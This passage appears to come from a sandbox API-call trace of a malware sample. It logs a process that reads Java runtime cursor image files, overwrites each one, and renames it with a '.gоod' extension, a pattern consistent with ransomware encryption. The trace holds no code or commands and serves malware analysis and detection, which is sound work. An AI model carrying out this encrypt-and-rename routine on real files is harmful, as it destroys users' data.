dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0110.328] GetFileType (hFile=0x7dc) returned 0x1 [0110.328] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0110.328] GetFileType (hFile=0x7dc) returned 0x1 [0110.328] GetFileSize (in: hFile=0x7dc, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x99 [0110.328] ReadFile (in: hFile=0x7dc, lpBuffer=0x36079b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x36079b0*, lpNumberOfBytesRead=0x1f59dd38*=0x99, lpOverlapped=0x0) returned 1 [0110.329] CloseHandle (hObject=0x7dc) returned 1 [0111.652] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0111.652] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0111.652] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0111.653] GetFileType (hFile=0x6e4) returned 0x1 [0111.653] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0111.653] GetFileType (hFile=0x6e4) returned 0x1 [0111.653] WriteFile (in: hFile=0x6e4, lpBuffer=0x344ac00*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x344ac00*, lpNumberOfBytesWritten=0x1f59dc48*=0xa0, lpOverlapped=0x0) returned 1 [0111.654] CloseHandle (hObject=0x6e4) returned 1 [0111.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0111.654] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.gоod", lpFilePart=0x0) returned 0x54 [0111.654] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0111.654] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3ec3cf6f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0111.654] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0111.654] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_CopyNoDrop32x32.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_copynodrop32x32.gif.gоod")) returned 1 [0111.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0111.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0111.657] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x344bed0 | out: lpFileInformation=0x344bed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0xa8)) returned 1 [0111.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0111.657] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0111.657] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0111.657] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0111.657] GetFileType (hFile=0x6e4) returned 0x1 [0111.657] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0111.657] GetFileType (hFile=0x6e4) returned 0x1 [0111.657] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0xa8 [0111.657] ReadFile (in: hFile=0x6e4, lpBuffer=0x344c260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x344c260*, lpNumberOfBytesRead=0x1f59dd38*=0xa8, lpOverlapped=0x0) returned 1 [0111.658] CloseHandle (hObject=0x6e4) returned 1 [0112.070] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0112.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0112.070] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0112.071] GetFileType (hFile=0x6e4) returned 0x1 [0112.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0112.071] GetFileType (hFile=0x6e4) returned 0x1 [0112.071] WriteFile (in: hFile=0x6e4, lpBuffer=0x35c3ff0*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x35c3ff0*, lpNumberOfBytesWritten=0x1f59dc48*=0xb0, lpOverlapped=0x0) returned 1 [0112.072] CloseHandle (hObject=0x6e4) returned 1 [0112.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0112.072] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.gоod", lpFilePart=0x0) returned 0x52 [0112.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0112.072] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3f042fb0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xb0)) returned 1 [0112.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0112.072] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkDrop32x32.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linkdrop32x32.gif.gоod")) returned 1 [0112.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0112.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0112.073] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x35c52b0 | out: lpFileInformation=0x35c52b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0112.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0112.073] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0112.073] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0112.073] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0112.073] GetFileType (hFile=0x6e4) returned 0x1 [0112.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0112.073] GetFileType (hFile=0x6e4) returned 0x1 [0112.073] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x99 [0112.073] ReadFile (in: hFile=0x6e4, lpBuffer=0x35c5648, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x35c5648*, lpNumberOfBytesRead=0x1f59dd38*=0x99, lpOverlapped=0x0) returned 1 [0112.074] CloseHandle (hObject=0x6e4) returned 1 [0113.192] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0113.192] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0113.192] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0113.352] GetFileType (hFile=0x7c8) returned 0x1 [0113.352] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0113.352] GetFileType (hFile=0x7c8) returned 0x1 [0113.352] WriteFile (in: hFile=0x7c8, lpBuffer=0x34acb50*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x34acb50*, lpNumberOfBytesWritten=0x1f59dc48*=0xa0, lpOverlapped=0x0) returned 1 [0113.353] CloseHandle (hObject=0x7c8) returned 1 [0113.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0113.353] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.gоod", lpFilePart=0x0) returned 0x54 [0113.353] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0113.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x3fc7ebf0, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0113.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0113.354] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_LinkNoDrop32x32.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_linknodrop32x32.gif.gоod")) returned 1 [0113.354] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0113.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0113.354] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x34ade20 | out: lpFileInformation=0x34ade20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x93)) returned 1 [0113.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0113.355] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0113.355] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0113.355] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0113.355] GetFileType (hFile=0x7c8) returned 0x1 [0113.355] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0113.355] GetFileType (hFile=0x7c8) returned 0x1 [0113.355] GetFileSize (in: hFile=0x7c8, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x93 [0113.355] ReadFile (in: hFile=0x7c8, lpBuffer=0x34ae1a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x34ae1a0*, lpNumberOfBytesRead=0x1f59dd38*=0x93, lpOverlapped=0x0) returned 1 [0113.356] CloseHandle (hObject=0x7c8) returned 1 [0113.383] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0113.383] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0113.383] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7c8 [0113.979] GetFileType (hFile=0x7c8) returned 0x1 [0113.979] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0113.979] GetFileType (hFile=0x7c8) returned 0x1 [0113.979] WriteFile (in: hFile=0x7c8, lpBuffer=0x362ad20*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x362ad20*, lpNumberOfBytesWritten=0x1f59dc48*=0xa0, lpOverlapped=0x0) returned 1 [0115.002] CloseHandle (hObject=0x7c8) returned 1 [0115.666] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif", lpFilePart=0x0) returned 0x4d [0115.666] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.gоod", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.gоod", lpFilePart=0x0) returned 0x52 [0115.666] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dd70) returned 1 [0115.666] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x1f59de50 | out: lpFileInformation=0x1f59de50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x40c24267, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xa0)) returned 1 [0115.666] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd30) returned 1 [0115.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveDrop32x32.gif.gоod" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movedrop32x32.gif.gоod")) returned 1 [0115.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d8e0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0115.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59ddb0) returned 1 [0115.675] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), fInfoLevelId=0x0, lpFileInformation=0x38c1318 | out: lpFileInformation=0x38c1318*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c50c02, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xa8c50c02, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0xa8c50c02, ftLastWriteTime.dwHighDateTime=0x1d327cc, nFileSizeHigh=0x0, nFileSizeLow=0x99)) returned 1 [0115.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dd70) returned 1 [0115.675] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0115.675] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0115.675] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0115.675] GetFileType (hFile=0x6e0) returned 0x1 [0115.675] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0115.675] GetFileType (hFile=0x6e0) returned 0x1 [0115.675] GetFileSize (in: hFile=0x6e0, lpFileSizeHigh=0x1f59de08 | out: lpFileSizeHigh=0x1f59de08*=0x0) returned 0x99 [0115.675] ReadFile (in: hFile=0x6e0, lpBuffer=0x38c16b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f59dd38, lpOverlapped=0x0 | out: lpBuffer=0x38c16b0*, lpNumberOfBytesRead=0x1f59dd38*=0x99, lpOverlapped=0x0) returned 1 [0115.676] CloseHandle (hObject=0x6e0) returned 1 [0115.705] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", nBufferLength=0x105, lpBuffer=0x1f59d740, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif", lpFilePart=0x0) returned 0x4f [0115.705] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f59dc60) returned 1 [0115.705] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\images\\cursors\\win32_MoveNoDrop32x32.gif" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\images\\cursors\\win32_movenodrop32x32.gif"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e0 [0115.706] GetFileType (hFile=0x6e0) returned 0x1 [0115.706] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f59dbd0) returned 1 [0115.706] GetFileType (hFile=0x6e0) returned 0x1 [0115.706] WriteFile (in: hFile=0x6e0, lpBuffer=0x3938d48*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x1f59dc48, lpOverlapped=0x0 | out: lpBuffer=0x3938d48*, lpNumberOfBytesWritten=0x1f59dc48*=0xa0, lpOverlapped=0x0) returned 1 